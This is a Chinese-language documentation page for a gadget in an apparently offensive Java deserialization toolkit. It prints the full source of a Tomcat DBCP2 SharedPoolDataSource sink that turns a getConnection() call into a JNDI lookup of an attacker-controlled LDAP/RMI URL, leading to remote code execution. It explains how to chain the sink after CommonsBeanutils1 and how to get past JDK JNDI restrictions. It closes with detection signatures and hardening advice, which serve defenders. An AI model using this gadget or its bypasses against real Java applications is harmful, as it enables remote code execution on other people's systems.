- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.apache.tomcat:tomcat-dbcp >= 8
构造一个 Tomcat 内嵌 DBCP2 的 org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource,并把它的 dataSourceName 字段设为攻击者可控的 JNDI 地址。当上游 gadget 在反序列化过程中调用该对象的 getConnection()(一个「特殊公共方法 / getter」)时,DBCP2 会用该名字发起 InitialContext.lookup(),从而把「调用一个 getter」转化为 JNDI 注入,指向恶意 LDAP/RMI 服务实现 RCE。它是一个终端 sink(END),本身不再向后衔接。
- 入口
tags:DataSourceChains、SpecialPublicMethod、Getter、ENDDataSourceChains—— 归入「DataSource 类 JNDI 跳板」族,供 DataSource 系列的调用型入口识别与串接。SpecialPublicMethod—— 声明本 gadget 通过一个「特殊公共方法」(此处即getConnection())被触发,配合invoke写入SPECIAL_METHOD_NAME_KEY=getConnection,告知上游要调用哪个方法。Getter—— 也可被纯 getter 调用型跳板(如BeanComparator按属性名connection反射调getConnection)触发。END—— 链尾终结标签,表示这是最终 sink,不再需要下一环。
- 衔接
nextTags:(空)—— 作为 sink,无后继 gadget。 excludes:(空)—— 无互斥标签。
整个类很短,逻辑集中在 getObject() 与 invoke():
@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
@GadgetAnnotation(name="TomcatDbcp2DataSource JNDI", ... dependencies={"org.apache.tomcat:tomcat-dbcp >= 8"})
public class TomcatDbcp2DataSource implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() {
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName(this.jndiUrl); // 把 JNDI 名注入 dataSourceName
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class); // 声明对象可按 DataSource 类型处理
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // 告知上游要调用的方法
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection"); // 告知 getter 属性名(getConnection 的属性名)
return this.getObject();
}
}逐段解释:
-
getObject()构造 sink 对象。new SharedPoolDataSource()创建 Tomcat 版 DBCP2 的共享连接池数据源;setDataSourceName(this.jndiUrl)把用户可控的jndiUrl写入其父类InstanceKeyDataSource的dataSourceName字段。这个字段在 DBCP2 内部被当作通过 JNDI 查找底层ConnectionPoolDataSource的名字。 -
触发点是
getConnection()。SharedPoolDataSource继承InstanceKeyDataSource,其getConnection()会走到getPooledConnectionAndInfo(),进而在首次使用时调用testCPDS();testCPDS()内部执行InitialContext ctx = new InitialContext(); ... ctx.lookup(dataSourceName)。因此只要有人调用被反序列化对象的getConnection(),dataSourceName(即jndiUrl)就会被作为 JNDI 名解析,触发对远程ldap://.../x的查找并加载恶意工厂类。这正是「getter 触发 JNDI」的本质:getConnection语义上是connection属性的 getter,可被属性驱动的调用器直接命中。 -
invoke()只做「上下文协商」,不构造链尾之外的结构。它不调用chain.doCreate(context)(因为自己就是链尾END),而是把三条元信息写入GadgetContext,供上游 gadget 读取:SUPER_CLASS_NAME_KEY = DataSource.class:告诉上游「本对象可被声明/转型为javax.sql.DataSource」,便于生成需要接口类型的包装(如动态代理、字段类型匹配)。SPECIAL_METHOD_NAME_KEY = "getConnection":与SpecialPublicMethod标签配合,明确「要触发的公共方法名」。GETTER_PARAM_NAME_KEY = "connection":与 CommonsBeanutils1 等Getter型跳板的约定一致——上游据此把比较器/调用器的property设为connection,反序列化时反射调用getConnectiongetter。 最后返回getObject()产出的SharedPoolDataSource作为内层对象,交给上游继续包装。
注:反编译头部的
Could not load ... SharedPoolDataSource属正常现象(缺失 tomcat-dbcp 第三方类),不影响逻辑分析。
| 字段 | 名称 | 说明 | 默认值 | 可选值 |
|---|---|---|---|---|
jndiUrl |
Jndi地址 | 被写入 dataSourceName 的 JNDI 查找名;getConnection() 触发时经 InitialContext.lookup() 解析到此地址,指向攻击者控制的 LDAP/RMI 服务 |
ldap://127.0.0.1:1389/x |
无约束(任意 JNDI URL) |
字段 getterMethodName="getConnection" 与 getterPropertyName="connection" 为内部常量,非 @Param,用于说明触发所依赖的方法/属性名。
- 依赖:
org.apache.tomcat:tomcat-dbcp >= 8(Tomcat 8 起把 commons-dbcp2 重打包进org.apache.tomcat.dbcp.dbcp2.*)。目标应用只要类路径存在该重打包依赖即可,无需独立引入 commons-dbcp2。 - 原理要点:本 gadget 属「DataSource 触发型 JNDI」家族,与
TomcatDbcp2DataSource2(用PerUserPoolDataSource)、原生 commons-dbcp2、c3p0等同类。核心是「一个看似无害的 getter (getConnection) 在内部隐藏了InitialContext.lookup()」。 - 坑点:
- 需要有一个上游调用器在反序列化期间真正调用
getConnection()——单独放它无效,必须与Getter/SpecialPublicMethod型入口(如CommonsBeanutils1、BeanComparator等调用 getter 的跳板)组合。 - JNDI 注入能否落地为 RCE 受目标 JDK 的 JNDI 防护影响:高版本 JDK(
com.sun.jndi.ldap.object.trustURLCodebase=false默认)下需改用本地 factory/EL、BeanFactory+Tomcat、反序列化 JNDI 等绕过,或退化为 SSRF/探测。 SharedPoolDataSource是共享池变体,TomcatDbcp2DataSource2用按用户池变体PerUserPoolDataSource;两者触发路径一致,互为备选以适配不同白名单/可用类。
- 需要有一个上游调用器在反序列化期间真正调用
- 自由构件,未直接出现在预设链(
usedInChains为空)。作为通用 JNDI 终端 sink,可自由拼接到任意Getter/SpecialPublicMethod型 Java 原生反序列化入口之后。
- 上游(可触发本 sink):CommonsBeanutils1(
nextTags=Getter,将property设为connection即调getConnection)及其它Getter/SpecialPublicMethod型跳板。 - 同族备选:
TomcatDbcp2DataSource2(PerUserPoolDataSource变体,触发方式相同)。 - 同类 JNDI sink:commons-dbcp2 原生
SharedPoolDataSource/PerUserPoolDataSource、c3p0系列、JdbcRowSetImpl等 DataSource/RowSet 型 JNDI 触发器。
- 检测特征:
- 反序列化字节流或运行时出现
org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource(或PerUserPoolDataSource)实例,且其dataSourceName为ldap:///rmi://等外部 JNDI URL。 - 应用进程在处理不可信输入后发起指向外部主机的 LDAP/RMI 出站连接(
InitialContext.lookup栈帧中出现InstanceKeyDataSource.testCPDS)。 - 异常/调用栈中同时出现
getConnection→getPooledConnectionAndInfo→testCPDS→javax.naming.InitialContext.lookup。
- 反序列化字节流或运行时出现
- 加固建议:
- 对反序列化入口启用类白名单(如 JEP 290 /
ObjectInputFilter),拒绝*.dbcp2.datasources.*等 DataSource 类。 - 收敛 JNDI:保持
com.sun.jndi.ldap.object.trustURLCodebase=false/rmi.object.trustURLCodebase=false,升级 JDK 至带远程 codebase 加载限制的版本。 - 出站网络管控:禁止业务服务向非受信主机发起 LDAP/RMI 连接,阻断 JNDI 回连。
- 避免对不可信数据进行原生反序列化,或改用不触发任意 getter 的安全序列化格式。
- 对反序列化入口启用类白名单(如 JEP 290 /